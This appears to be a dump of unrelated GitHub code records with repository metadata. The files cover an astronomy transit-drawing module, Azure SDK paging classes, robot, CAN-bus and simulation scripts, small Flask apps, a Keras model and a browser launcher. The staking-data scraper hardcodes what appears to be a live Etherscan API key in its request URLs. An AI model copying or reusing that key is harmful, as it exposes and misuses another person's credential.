(``int``):\n Size of the square grid in number pixels.\n\n radius (``int`` or ``float``, optional):\n Stellar radius in units of ``grid_size``. Default is 0.5.\n\n limb_darkening_law (``None`` or ``str``, optional):\n String with the name of the limb-darkening law. The options currently\n implemented are: ``'linear'``, ``'quadratic'``, ``'square-root'``,\n ``'logarithmic'`` (or ``'log'``), ``'exponential'`` (or ``'exp'``),\n ``'sing-three'`` (or ``'sing'``, or ``'s3'``), ``'claret-four'``\n (or ``'claret'``, or ``'c4'``), ``None`` (no limb-darkening), or\n ``'custom'``. In case you choose the latter, you need to provide a\n callable function that defines your custom law using the parameter\n ``custom_limb_darkening``. Default is ``None``.\n\n ld_coefficient (``float`` or ``array-like``):\n In case of a linear limb-darkening law, the value of the coefficient\n should be a float. In all other options it should be array-like. Default\n is ``None``.\n\n custom_limb_darkening (``callable`` or ``None``, optional)\n In case you want to use a custom limb-darkening law, you need\n provide a function that defines it. The first parameter of this function\n must be ``mu`` (cosine of the angle between a line normal to the stellar\n surface and the line of sight), and the second must be the coefficient\n (in case it uses multiple coefficients, it must accept them as an\n array-like object). Default is ``None``.\n\n supersampling (``int``, ``float``, or ``None``, optional):\n For low-resolution grid sizes, in order to avoid intensity maps with\n hard edges, you can supersample the array by a certain factor defined\n by this parameter, and then the map is downscaled to your requested grid\n size using the algorithm defined in ``resample_method``. Default is\n ``None`` (no supersampling).\n\n upscaling (``int``, ``float``, or ``None``, optional):\n For fast output of high-resolution grids, you may want to upscale\n them from a low-resolution setup to save about one order of magnitude\n in computation time. This parameter is the factor by which to upscale\n the grids to match the requested grid size. The resizing algorithm is\n defined in ``resample_method``. Default is ``None`` (no upscaling).\n\n resample_method (``str`` or ``None``, optional):\n Resampling algorithm. The options currently available are:\n ``\"nearest\"``, ``\"box\"``, ``\"bilinear\"``, ``\"hamming\"``, ``\"bicubic\"``,\n and ``\"lanczos\"``. If ``None``, then fallback to ``\"box\"``. Default\n is ``None``.\n\n Returns\n -------\n grid (``flatstar.utils.StarGrid`` object):\n Intensity map of the star.\n \"\"\"\n # Emit a warning if the radius is larger than 0.5\n if radius > 0.5:\n warnings.warn('Using a radius larger than 0.5 will yield inaccurate '\n 'intensities.', RuntimeWarning)\n\n # Define the effective grid size on which to start\n if supersampling is not None:\n effective_grid_size = int(round(supersampling * grid_size))\n elif upscaling is not None:\n effective_grid_size = int(grid_size // upscaling)\n else:\n effective_grid_size = grid_size\n shape = (effective_grid_size, effective_grid_size)\n\n # Draw the host star\n star_radius = radius * effective_grid_size\n center = effective_grid_size // 2\n star_array = _disk(center=(center, center), radius=star_radius,\n shape=shape)\n\n # We need to know what is the distance of each pixel from the stellar center\n # There is a useful function in ``utils`` for that, and it does not use\n # for-loops\n r_array = utils.cylindrical_r(star_array)\n\n # Now we calculate the mu for the limb-darkening law\n # We ignore a RuntimeWarning here because any NaN will be multiplied by zero\n # anyway.\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n mu = (1 - (r_array / star_radius) ** 2) ** 0.5\n mu[np.isnan(mu)] = 0.0\n\n # Apply the limb-darkening law\n # No limb-darkening\n if limb_darkening_law is None:\n pass\n # Custom limb-darkening law\n elif limb_darkening_law == 'custom':\n star_array *= custom_limb_darkening(mu, ld_coefficient)\n # Laws implemented in this code\n else:\n try:\n star_array *= IMPLEMENTED_LD_LAW[limb_darkening_law](mu,\n ld_coefficient)\n except KeyError:\n raise NotImplementedError(\"This limb-darkening law is not \"\n \"implemented.\")\n\n # We use PIL.Image to perform the resizing\n im = Image.fromarray(star_array)\n final_shape = (grid_size, grid_size)\n\n # Resize the array to the desired grid size if necessary\n if supersampling is not None or upscaling is not None:\n pass\n else: # No resizing needed\n norm = np.sum(star_array)\n intensity_array = star_array / norm\n grid = utils.StarGrid(intensity_array, star_radius, limb_darkening_law,\n ld_coefficient, supersampling, upscaling,\n resample_method)\n return grid\n\n # If the resample_method is defined by the user with one of the\n # available options, then use it\n if resample_method is not None:\n try:\n final_star_array = im.resize(\n final_shape, resample=RESAMPLING_ALIAS[resample_method])\n except KeyError:\n raise NotImplementedError(\"This resampling method is not \"\n \"implemented.\")\n # If the resample_method is not defined, then simply use a box interpolation\n else:\n resample_method = 'box'\n final_star_array = im.resize(final_shape, resample=Image.BOX)\n # Finally make `star_array` as a copy of the downsampled array\n star_array = np.copy(final_star_array)\n\n # Adding the star to the grid\n norm = np.sum(star_array)\n intensity_array = star_array / norm\n\n grid = utils.StarGrid(intensity_array, star_radius, limb_darkening_law,\n ld_coefficient, supersampling, upscaling,\n resample_method)\n return grid\n\n\n# Draw a transit on a star\ndef planet_transit(star_grid, planet_to_star_ratio, impact_parameter=0.0,\n phase=0.0, rescaling_factor=None, resample_method=None):\n \"\"\"\n Draw a transit in the ``StarGrid`` object.\n\n Parameters\n ----------\n star_grid (``flatstar.utils.StarGrid`` object):\n\n planet_to_star_ratio (``float``):\n Ratio between the radii of the planet and the star.\n\n impact_parameter (``float``, optional):\n Impact parameter of the transit in units of stellar radii. Default is 0.\n\n phase (``float``, optional):\n Phase of the transit. -0.5, 0.0, and +0.5 correspond respectively to the\n time of first contact, transit mid-center, and time of fourth contact.\n Default is 0.\n\n rescaling_factor (``float`` or ``None``, optional)\n Resize the grid by a factor defined by this parameter. If ``None``, no\n resizing is performed. Default is ``None``.\n\n resample_method (``str`` or ``None``, optional):\n Resampling algorithm. The options currently available are:\n ``\"nearest\"``, ``\"box\"``, ``\"bilinear\"``, ``\"hamming\"``, ``\"bicubic\"``,\n and ``\"lanczos\"``. If ``None``, then fallback to ``\"box\"``. Default\n is ``None``.\n\n Returns\n -------\n star_grid (``flatstar.utils.StarGrid`` object):\n Updated ``StarGrid`` object containing the transit.\n \"\"\"\n b = impact_parameter\n rp_rs = planet_to_star_ratio\n intensity_0 = np.sum(star_grid.intensity)\n\n # Radii of the star and the planet in units of grid size\n grid_length_x, grid_length_y = np.shape(star_grid.intensity)\n star_radius = star_grid.radius_px\n planet_radius = star_radius * rp_rs\n\n # Before drawing the planet, we need to figure out the exact coordinate\n # of the center of the planet. We have an embedded function to do that\n # because we may need to do it more than once\n def _calculate_planet_center(len_x, len_y, r_s, r_p):\n # The y location is easy\n y = (impact_parameter * r_s) + len_y / 2\n\n # The x coordinate of the planet is a bit trickier to figure out. Since\n # we want the -0.5 and 0.5 phases to always match the times of first and\n # fourth contact, respectively, x_p will depend on the impact parameter\n # in a very non-trivial manner. Sorry for the ugliness, but it is the\n # price of convenience!\n beta = (1 - (b * r_s / (r_p + r_s)) ** 2) ** 0.5\n alpha = len_x / 2 - (r_p + r_s) * beta\n x = alpha + (phase + 0.5) * 2 * (r_p + r_s) * beta\n\n return x, y\n\n # And now we draw it\n x_p, y_p = _calculate_planet_center(grid_length_x, grid_length_y,\n star_radius, planet_radius)\n planet = _disk(center=(x_p, y_p), radius=planet_radius,\n shape=np.shape(star_grid.intensity),\n value=1.0)\n updated_intensity = star_grid.intensity - planet\n # Remove negatives in the planet disk and set the intensity to zero\n updated_intensity[updated_intensity < 0] = 0.0\n\n # Calculate intensity with the planet transit included\n intensity_1 = np.sum(updated_intensity)\n\n # Alright, if rescaling was requested, many things have to change, so brace\n # yourself for some hacking\n if rescaling_factor is not None:\n new_shape = (int(round(grid_length_x * rescaling_factor)),\n int(round(grid_length_y * rescaling_factor)))\n norm = rescaling_factor ** 2\n im = Image.fromarray(updated_intensity)\n if resample_method is None:\n updated_intensity = np.array(\n im.resize(new_shape, resample=Image.BOX)\n )\n elif resample_method is not None:\n try:\n updated_intensity = np.array(\n im.resize(new_shape,\n resample=RESAMPLING_ALIAS[resample_method])\n )\n except KeyError:\n raise NotImplementedError('This resampling method is not '\n 'implemented.')\n # We need to update the normalization and grid lengths\n updated_intensity /= norm\n grid_length_x, grid_length_y = np.shape(updated_intensity)\n\n # And the stellar radius and planet radius to the correct pixel size,\n # as well as the location of the center of the planet\n star_grid.radius_px *= rescaling_factor\n star_radius = star_grid.radius_px\n planet_radius = star_radius * rp_rs\n x_p, y_p = _calculate_planet_center(grid_length_x, grid_length_y,\n star_radius, planet_radius)\n\n else: # No rescaling requested\n pass\n\n # Update the ``StarGrid`` object\n star_grid.intensity = updated_intensity\n star_grid.planet_px_coordinates = (x_p - grid_length_x / 2,\n y_p - grid_length_y / 2)\n star_grid.planet_radius_px = planet_radius\n star_grid.planet_impact_parameter = b\n star_grid.phase = phase\n star_grid.transit_depth = intensity_0 - intensity_1\n return star_grid\n\n\n# General function to draw a disk\ndef _disk(center, radius, shape, value=1.0):\n \"\"\"\n Hidden function used to draw disks with PIL.\n\n Parameters\n ----------\n center (``int``):\n Center of the disk in pixel space.\n\n radius (``int``):\n Radius of the disk in number of pixels.\n\n shape (``array-like``):\n Shape of the grid in number of pixels.\n\n value (``float``, optional):\n Value with which to fill the disk. Default is 1.0.\n\n Returns\n -------\n disk (``numpy.ndarray``):\n Grid containing a drawing of the disk.\n \"\"\"\n top_left = (center[0] - radius, center[1] - radius)\n bottom_right = (center[0] + radius, center[1] + radius)\n image = Image.new('1', shape)\n draw = ImageDraw.Draw(image)\n draw.ellipse([top_left, bottom_right], outline=1, fill=1)\n disk = np.reshape(np.array(list(image.getdata())), shape) * value\n return disk\n","repo_name":"ladsantos/flatstar","sub_path":"flatstar/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":14559,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"8188390828","text":"from msrest.paging import Paged\n\n\nclass AzureMonitorPrivateLinkScopePaged(Paged):\n \"\"\"\n A paging container for iterating over a list of :class:`AzureMonitorPrivateLinkScope ` object\n \"\"\"\n\n _attribute_map = {\n 'next_link': {'key': 'nextLink', 'type': 'str'},\n 'current_page': {'key': 'value', 'type': '[AzureMonitorPrivateLinkScope]'}\n }\n\n def __init__(self, *args, **kwargs):\n\n super(AzureMonitorPrivateLinkScopePaged, self).__init__(*args, **kwargs)\nclass PrivateLinkResourcePaged(Paged):\n \"\"\"\n A paging container for iterating over a list of :class:`PrivateLinkResource ` object\n \"\"\"\n\n _attribute_map = {\n 'next_link': {'key': 'nextLink', 'type': 'str'},\n 'current_page': {'key': 'value', 'type': '[PrivateLinkResource]'}\n }\n\n def __init__(self, *args, **kwargs):\n\n super(PrivateLinkResourcePaged, self).__init__(*args, **kwargs)\nclass PrivateEndpointConnectionPaged(Paged):\n \"\"\"\n A paging container for iterating over a list of :class:`PrivateEndpointConnection ` object\n \"\"\"\n\n _attribute_map = {\n 'next_link': {'key': 'nextLink', 'type': 'str'},\n 'current_page': {'key': 'value', 'type': '[PrivateEndpointConnection]'}\n }\n\n def __init__(self, *args, **kwargs):\n\n super(PrivateEndpointConnectionPaged, self).__init__(*args, **kwargs)\nclass ScopedResourcePaged(Paged):\n \"\"\"\n A paging container for iterating over a list of :class:`ScopedResource ` object\n \"\"\"\n\n _attribute_map = {\n 'next_link': {'key': 'nextLink', 'type': 'str'},\n 'current_page': {'key': 'value', 'type': '[ScopedResource]'}\n }\n\n def __init__(self, *args, **kwargs):\n\n super(ScopedResourcePaged, self).__init__(*args, **kwargs)\n","repo_name":"scottwedge/open-tor.github.io","sub_path":"\u001B[A/lib/python3.8/site-packages/azure/mgmt/monitor/v2019_10_17/models/_paged_models.py","file_name":"_paged_models.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19516946387","text":"import serial\nimport threading\nfrom jetbot import Robot\nfrom time import sleep\nimport time\nimport queue\n\n# 1 revolution = 1938 ticks\n# wheel circumference = 20.5cm\n# 1 tick = 20.5cm / 1938 ticks = 0.0106cm = 0.106mm\n# number of ticks 't' to travel 'x' distance:\n# t = x / 0.0106 (in cm)\n\nport = \"/dev/ttyACM0\"\nrate = 9600\ns1 = serial.Serial(port, rate)\ns1.reset_input_buffer()\n\nlastRtick = 0\nlastLtick = 0\n\ndef read_serial():\n global lastRtick, lastLtick\n r = s1.readline()\n line = r.decode('utf-8').split(\",\")\n if len(line) >= 2:\n # print(line)\n for i in range(0, len(line)): line[i] = int(line[i])\n print(\"R:{} L:{}\".format(line[0], line[1]))\n lastRtick = line[0]\n lastLtick = line[1]\n return line[0], line[1]\n else:\n print(\"\\tLast R:{} L:{}\".format(lastRtick, lastLtick))\n return lastRtick, lastLtick\n\ndef reset_ticks():\n s1.write(b'r')\n sleep(1.5)\n\ndef drive(ser, robot, l_speed, r_speed, distance):\n # number of ticks 't' to travel 'x' distance:\n # t = x / 0.0106 (in cm)\n robot.set_motors(l_speed, r_speed)\n cm_per_tick = 0.0107\n ticks = int(distance / cm_per_tick)\n print(\"going {} needs {} ticks\".format(distance, ticks))\n ser.reset_input_buffer()\n ser.reset_output_buffer()\n reset_ticks()\n start = time.time()\n while True:\n r_tick, l_tick = read_serial()\n if r_tick >= ticks or l_tick >= ticks:\n end = time.time()\n elapsed = end - start\n if r_tick >= ticks:\n print(\"Right wheel reached {}. Goal was {}\".format(r_tick, ticks))\n final_ticks = r_tick\n if l_tick >= ticks:\n print(\"\\tLeft wheel reached {}. Goal was {}\".format(l_tick, ticks))\n final_ticks = l_tick\n traveled = final_ticks * cm_per_tick\n speed = traveled / elapsed\n print(\"GoalDistance:{} cm Traveled:{} cm Elapsed:{} sec Speed:{} cm/s\"\\\n .format(distance, traveled, elapsed, speed))\n robot.stop()\n # sleep(.5)\n exit()\n\ndef main():\n print(\"import finished.\")\n sleep(2)\n robot = Robot()\n # straight: l:0.3 r:0.33\n # straight: l:0.2 r:0.216 7.22 cm/s\n l_speed = 0.3\n r_speed = 0.33\n distance = 100\n t1 = threading.Thread(target=drive, \\\n args=(s1, robot, l_speed, r_speed, distance))\n t1.start()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"wesnjazz/JetsonNano","sub_path":"JetsonNano/speedMeasure.py","file_name":"speedMeasure.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6555789478","text":"import sys\nsys.path.append('/home/lwang/code/amuse-git/src')\nimport numpy as np\nimport getopt\nimport amuse\nimport os\n\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import animation, rc\nfrom matplotlib import cm\nfrom IPython.display import HTML\n\nfrom amuse.units import nbody_system\nfrom amuse.units import units\nfrom amuse.community.petar.interface import petar\nfrom amuse.community.sse.interface import SSE\nfrom amuse.test.amusetest import get_path_to_results\n\nfrom amuse.io import write_set_to_file\n\nfrom amuse.rfi.core import is_mpd_running\nfrom amuse.ic.plummer import new_plummer_model\nfrom amuse.ic.salpeter import new_salpeter_mass_distribution\nfrom amuse.ext.orbital_elements import new_binary_from_orbital_elements\n\nplt.style.use('dark_background')\n\ndef generate_cluster(number_of_stars, mass_of_cluster, radius_of_cluster):\n # numpy.random.seed(1)\n\n if (mass_of_cluster>0|units.MSun):\n number_of_stars = int(mass_of_cluster.value_in(units.MSun))*5\n \n salpeter_masses = new_salpeter_mass_distribution(number_of_stars)\n imf = salpeter_masses\n\n if (mass_of_cluster>0|units.MSun):\n print(\"sorted sampling salpeter IMF, total mass:\",mass_of_cluster)\n imf_cumsum = imf.cumsum()\n pick_up_number = (imf_cumsum<=mass_of_cluster).sum()\n if (pick_up_number-boxsize) & (x-boxsize) & (y int(session['number']):\n session['response'] = \"Too high!\"\n else:\n session['response'] = \"Too low!\"\n session['color'] = \"red\"\n return redirect(\"/\")\n\n\n@app.route('/reset')\ndef reset():\n session.clear()\n return redirect('/')\n\napp.run(debug = True)","repo_name":"Colbyjoe97/CodingDojo","sub_path":"Python(2021)/Flask/Great_Number_Game/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40497380874","text":"from flask import Flask\r\nimport json\r\nfrom web3 import Web3\r\nimport requests\r\n\r\n#######################################################################################\r\nurl = 'https://dashboard-api-prod.syntropystack.com/api/v1/get-stake/'\r\nseen_validators = []\r\noutput_validators=[]\r\na=requests.get('https://api.etherscan.io/api?module=account&action=txlist&address=0x8A27Fa791316A17C5b39FE6a319f6D72ce50241F&sort=asc&apikey=9VHFZI6B4YDK81PH2P2JSWGIZQDMIYRMA9')\r\ninput_data=a.json()\r\nprint('Starting')\r\nfor i in range(0,len(input_data[\"result\"])-1):\r\n if input_data[\"result\"][i][\"from\"] in seen_validators:\r\n continue\r\n seen_validators.append(input_data[\"result\"][i][\"from\"])\r\n try:\r\n address=Web3.toChecksumAddress(input_data[\"result\"][i][\"from\"])\r\n r = requests.get(url+address)\r\n data=r.json()\r\n data[\"data\"][\"block\"] = address\r\n data[\"data\"].pop('claim_proof')\r\n data[\"data\"][\"current_stake\"] = round(int(data[\"data\"][\"current_stake\"].translate({ord('n'): None}))/(10**18))\r\n data[\"data\"][\"current_total\"] = round(int(data[\"data\"][\"current_total\"].translate({ord('n'): None}))/(10**18))\r\n data[\"data\"][\"total_interest\"] = round(int(data[\"data\"][\"total_interest\"].translate({ord('n'): None}))/(10**18))\r\n if data[\"data\"][\"current_position\"] != -1:\r\n output_validators.append(data[\"data\"])\r\n except:\r\n pass\r\noutput_validators = [{\"current_position\": di[\"current_position\"], **di} for di in output_validators]\r\noutput_validators = sorted(output_validators, key=lambda d: d['current_position'])\r\njson_dump_validators = json.dumps(output_validators)\r\n#######################################################################################\r\n\r\n\r\n######################################################################################\r\nurl = 'https://dashboard-api-prod.syntropystack.com/api/v1/get-stake-nominator/'\r\nseen_nominators = []\r\noutput_nominators=[]\r\na=requests.get('https://api.etherscan.io/api?module=account&action=txlist&address=0xD0aE7da0EcE12811ce13297257d7fc42848E107E&sort=asc&apikey=9VHFZI6B4YDK81PH2P2JSWGIZQDMIYRMA9')\r\ninput_data=a.json()\r\nfor i in range(0,len(input_data[\"result\"])-1):\r\n if input_data[\"result\"][i][\"from\"] in seen_nominators:\r\n continue\r\n seen_nominators.append(input_data[\"result\"][i][\"from\"])\r\n try:\r\n address=Web3.toChecksumAddress(input_data[\"result\"][i][\"from\"])\r\n r = requests.get(url+address)\r\n data=r.json()\r\n data[\"data\"][\"address\"] = address\r\n data[\"data\"].pop('claim_proof')\r\n data[\"data\"][\"current_stake\"] = round(int(data[\"data\"][\"current_stake\"].translate({ord('n'): None}))/(10**18))\r\n data[\"data\"][\"current_total\"] = round(int(data[\"data\"][\"current_total\"].translate({ord('n'): None}))/(10**18))\r\n data[\"data\"][\"total_interest\"] = round(int(data[\"data\"][\"total_interest\"].translate({ord('n'): None}))/(10**18))\r\n output_nominators.append(data[\"data\"])\r\n except:\r\n pass\r\noutput_nominators = sorted(output_nominators, key=lambda d: d['current_stake'], reverse=True)\r\njson_dump_nominators = json.dumps(output_nominators)\r\n#######################################################################################\r\n\r\n\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/validator-ranks/', methods = ['GET', 'POST'])\r\ndef handle_request():\r\n return json_dump_validators\r\n\r\n@app.route('/nominator-ranks/', methods = ['GET', 'POST'])\r\ndef handle_request2():\r\n return json_dump_nominators\r\n","repo_name":"Zuvann/NOIA-Stake-Rank","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"41193996808","text":"import prepare_data\nfrom keras import layers\nfrom keras.layers import Input, Dense, Activation, BatchNormalization, Flatten, Conv2D\nfrom keras.layers import AveragePooling2D, MaxPooling2D, Dropout\nfrom keras.models import Model\nimport gc\nimport keras.backend as K\nfrom keras.models import Sequential\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mplimg\nfrom matplotlib.pyplot import imshow\n\n\n\ndef prepareModel(y):\n\tmodel = Sequential()\n\n\tmodel.add(Conv2D(32, (7, 7), strides = (1, 1), name = 'conv0', input_shape = (100, 100, 3)))\n\n\tmodel.add(BatchNormalization(axis = 3, name = 'bn0'))\n\tmodel.add(Activation('relu'))\n\n\tmodel.add(MaxPooling2D((2, 2), name='max_pool'))\n\tmodel.add(Conv2D(64, (3, 3), strides = (1,1), name=\"conv1\"))\n\tmodel.add(Activation('relu'))\n\tmodel.add(AveragePooling2D((3, 3), name='avg_pool'))\n\n\tmodel.add(Flatten())\n\tmodel.add(Dense(500, activation=\"relu\", name='rl'))\n\tmodel.add(Dropout(0.8))\n\tmodel.add(Dense(y, activation='softmax', name='sm'))\n\n\tmodel.compile(loss='categorical_crossentropy', optimizer=\"adam\", metrics=['accuracy'])\n\treturn model\n\n\n\n\n\ny_train=prepare_data.prepareLabels()\nmodel=prepareModel(y_train[0,:].size)\nX_train=prepare_data.prepareImages()\nX_train /= 255\n\nhistory=model.fit(X_train,y_train,epochs=100,batch_size=100,verbose=1)\nmodel.save('model.h5')\ngc.collect()\nplt.plot(history.history['acc'])\nplt.title('Model accuracy')\nplt.ylabel('Accuracy')\nplt.xlabel('Epoch')\nplt.show()\n\n","repo_name":"rohanasthana/Humpback-Whale-Identification-Kaggle","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"39463116223","text":"a = []\nb = [3, 5, 7]\nc = ['enjoy', 'python', 'life' ]\n\nd = ['test', 42, '56', b]\n\nprint(a)\nprint(b)\nprint(c)\nprint(d)\n\nprint('a의길이:', len(a))\nprint('b의 길이:', len(b))\nprint('c의 길이:', len(c))\nprint('d의 길이:', len(d))\n\nprint(b[0])\nprint(b[2])\nprint(b[-1])\n\nb[0] = 3000\n\nprint(b[0])\nprint(b)\n\nprint(3 in b)\n\nprint('python' in c)\n\nif 'life' in c:\n print('life is beautiful!')\n\nfor word in c:\n print(word)\n\nfor i in range(len(c)):\n print(i, c[i])\n\nprint(b)\nb.append(100)\nprint(b)\n\n\nmylist = []\nfor number in range(50):\n if number % 3 == 0:\n mylist.append(number)\n\nprint(mylist)\n# 1\n\ndata1 = [4, 29, 41, 92, 70, 60, 43, 54, 56, 49, 77, 10, 14, 46, 52, 20, 40, 64, 93, 70, 0, 91, 20, 59, 54,\n 93, 46, 89, 11, 75, 50, 16, 97, 55, 11, 32, 1, 7, 36, 55, 13, 19, 89, 96, 88, 14, 26, 2, 63, 44]\ndata1_unique = []\nfor number in data1:\n if number not in data1_unique:\n data1_unique.append(number)\n\nprint(data1_unique)\nprint(len(data1_unique))\nprint(len(data1))\n\n# 2\nfor number in data1_unique :\n n = len(data1_unique)\n for i in range(0, n):\n for j in range(0, n-i-1):\n if data1_unique[j] > data1_unique[j+1]:\n data1_unique[j], data1_unique[j+1] = data1_unique[j+1], data1_unique[j]\n\nprint(data1_unique)\n\n# 3\ndata2 = ['business', 'switch', 'letters', 'agonizing', 'irate', 'strange', 'light', 'bone', 'clover', 'locket',\n 'knock', 'part', 'throne', 'announce', 'mitten', 'claim', 'impartial', 'structure', 'vessel', 'homely',\n 'arrange', 'ticket', 'growth', 'quarrelsome', 'satisfying', 'avoid', 'panoramic', 'perfect', 'beautiful', 'escape',\n 'daily', 'subtract', 'knowledgeable', 'argument', 'butter', 'invincible', 'rhetorical', 'overflow', 'humor', 'tease',\n 'noxious', 'crime', 'truculent', 'shake', 'bridge', 'bulb', 'phobic', 'icky', 'immense', 'space']\n\ndef third_sort(arr):\n for a, p in enumerate(arr):\n for b, q in enumerate(arr):\n if a != b:\n if len(p) < len(q):\n arr[a], arr[b] = arr[b], arr[a]\n\n n = len(arr[a])\n data_A = []\n data_B = []\n for c in range(1, n+1):\n for d, f in enumerate(arr):\n if len(f) == c:\n data_A.append(f)\n elif len(f) != c:\n continue\n data_A.sort()\n data_B.extend(data_A)\n data_A.clear()\n print(data_B)\n\nprint(third_sort(data2))","repo_name":"KimBeomHwi/pythonProject","sub_path":"gggg.py","file_name":"gggg.py","file_ext":"py","file_size_in_byte":2424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37698860976","text":"import cantools\nimport can\nfrom pprint import pprint\nfrom time import sleep\nfrom pynput import keyboard\n\ndb = cantools.database.load_file(\"mydbc.dbc\")\ncan_bus = can.interface.Bus('vcan0', bustype='socketcan')\n\nheartbeat = 0\naccel = 650\nbrake = 0\ngear = 0\nsteer = 0\nreserve = 0\n\ndef Ctrl_CMD (override, heartbeat):\n ctrl_message = db.get_message_by_name('Control_CMD')\n ctrl_data = ctrl_message.encode({'Override':override, 'Alive_Count': heartbeat, 'Angular_Speed_CMD':100})\n ctrl_message_send = can.Message(arbitration_id=ctrl_message.frame_id, data=ctrl_data)\n can_bus.send(ctrl_message_send,timeout=0.001)\n sleep(0.02)\n\ndef Drv_CMD(accel, brake, steer, gear, reserve):\n ctrl_message = db.get_message_by_name('Driving_CMD')\n ctrl_data = ctrl_message.encode({'Accel_CMD':accel, 'Brake_CMD': brake, 'Steering_CMD':steer, 'Gear_Shift_CMD':gear})\n ctrl_message_send = can.Message(arbitration_id=ctrl_message.frame_id, data=ctrl_data)\n can_bus.send(ctrl_message_send,timeout=0.001)\n # sleep(0.02)\n\ndef on_press(key):\n global heartbeat, accel, brake, steer, gear\n\n try:\n if key.char == 'w':\n if accel == 650 and brake != 8000:\n accel = 950\n Drv_CMD(accel, brake, steer, gear, reserve)\n elif key.char == 's':\n if accel > 650:\n accel = 650\n Drv_CMD(accel, brake, steer, gear, reserve)\n elif key.char == 'e':\n if brake == 0 and accel != 950:\n brake = 8000\n Drv_CMD(accel, brake, steer, gear, reserve)\n elif key.char == 'd':\n if brake > 0:\n brake = 0\n Drv_CMD(accel, brake, steer, gear, reserve)\n elif key.char == '0' or key.char == '5' or key.char == '6' or key.char == '7':\n if gear != int(key.char) and accel != 950 and brake == 8000:\n gear = int(key.char)\n Drv_CMD(accel, brake, steer, gear, reserve)\n elif key.char == 'z':\n if steer < 520:\n steer += 1\n Drv_CMD(accel, brake, steer, gear, reserve)\n elif key.char == 'x':\n if steer > -520:\n steer -= 1\n Drv_CMD(accel, brake, steer, gear, reserve) \n except AttributeError:\n print(key)\n \nlistener = keyboard.Listener(on_press=on_press)\nlistener.start()\n\nwhile True:\n if heartbeat < 255:\n Ctrl_CMD(1, heartbeat)\n heartbeat += 1\n else:\n Ctrl_CMD(1, heartbeat)\n heartbeat = 0\n \n ","repo_name":"JwaYounkyung/AutoDrive","sub_path":"HW4-2/HW4-2_20214035_YounkyungJwa.py","file_name":"HW4-2_20214035_YounkyungJwa.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15655505251","text":"import asyncio\r\nfrom pyppeteer.launcher import launch\r\nfrom aiohttp import web\r\n\r\n\r\nclass LaunchChrome:\r\n def __init__(self):\r\n self.browser = None\r\n \r\n async def _launch(self):\r\n chrome_args = [\"--window-size=1280,800\", \"--user-data-dir=userdata\"]\r\n executablePath = r\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\"\r\n self.browser = await launch(\r\n headless=False,\r\n autoClose=False,\r\n executablePath=executablePath,\r\n args=chrome_args, \r\n ignoreDefaultArgs=['--enable-automation'],\r\n defaultViewport={\"width\":1280, \"height\": 800}\r\n )\r\n\r\n async def launch_tab(self):\r\n await self.browser.newPage()\r\n \r\n async def on_startup_tasks(self, app: web.Application) -> None:\r\n page_count = 4\r\n await asyncio.create_task(self._launch())\r\n app[\"browser\"] = self.browser\r\n tasks = [asyncio.create_task(self.launch_tab()) for _ in range(page_count-1)]\r\n await asyncio.gather(*tasks)\r\n queue = asyncio.Queue(maxsize=page_count+1)\r\n for i in await self.browser.pages():\r\n await queue.put(i)\r\n app[\"pages_queue\"] = queue\r\n app[\"screenshot_lock\"] = asyncio.Lock()\r\n \r\n async def on_cleanup_tasks(self, app: web.Application) -> None:\r\n await self.browser.close()\r\n","repo_name":"kanadeblisst00/browser_cluster","sub_path":"browser/launch.py","file_name":"launch.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"17558933198","text":"import asyncio\nfrom pyjamas_core.util import Input, Output, Property\nfrom pyjamas_core.supermodel import Supermodel\n\nclass Model(Supermodel):\n \"\"\"\n sets the sum of 3 inputs as output\n \"\"\"\n\n def __init__(self, uuid, name :str):\n super(Model, self).__init__(uuid,name)\n\n self.inputs['in1'] = Input('Number', unit='num')\n self.inputs['in2'] = Input('Number', unit='num')\n self.inputs['in3'] = Input('Number', unit='num')\n\n self.outputs['sum'] = Output('Sum', unit='num')\n\n\n async def func_peri(self, prep_to_peri=None):\n\n in1 = await self.get_input('in1')\n in2 = await self.get_input('in2')\n in3 = await self.get_input('in3')\n \n res = in1 + in2 + in3\n\n self.set_output(\"sum\",res)\n\nif __name__=='__main__':\n inputs = {\n 'in1':1,\n 'in2':2,\n 'in3':3\n }\n\n properties = {}\n\n outputs = Model.test(inputs,properties)\n\n print(outputs)","repo_name":"schmocker/Pyjamas","sub_path":"Models/Math/Add/V1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"3485366839","text":"import numpy as np\nimport math\n\n'''\nTODO: \n- TYPE CHECKING IN OPERATOR OVERLOAD\n- Add docstrings\n- Printing computational graph: https://stackoverflow.com/questions/22920433/python-draw-flowchart-illustration-graphs\n'''\n\nclass Variable(): # Creating a computational graph capable of evaluating a function and taking its gradient \n\n independentvariables = [] # Store current independent variables in the computational 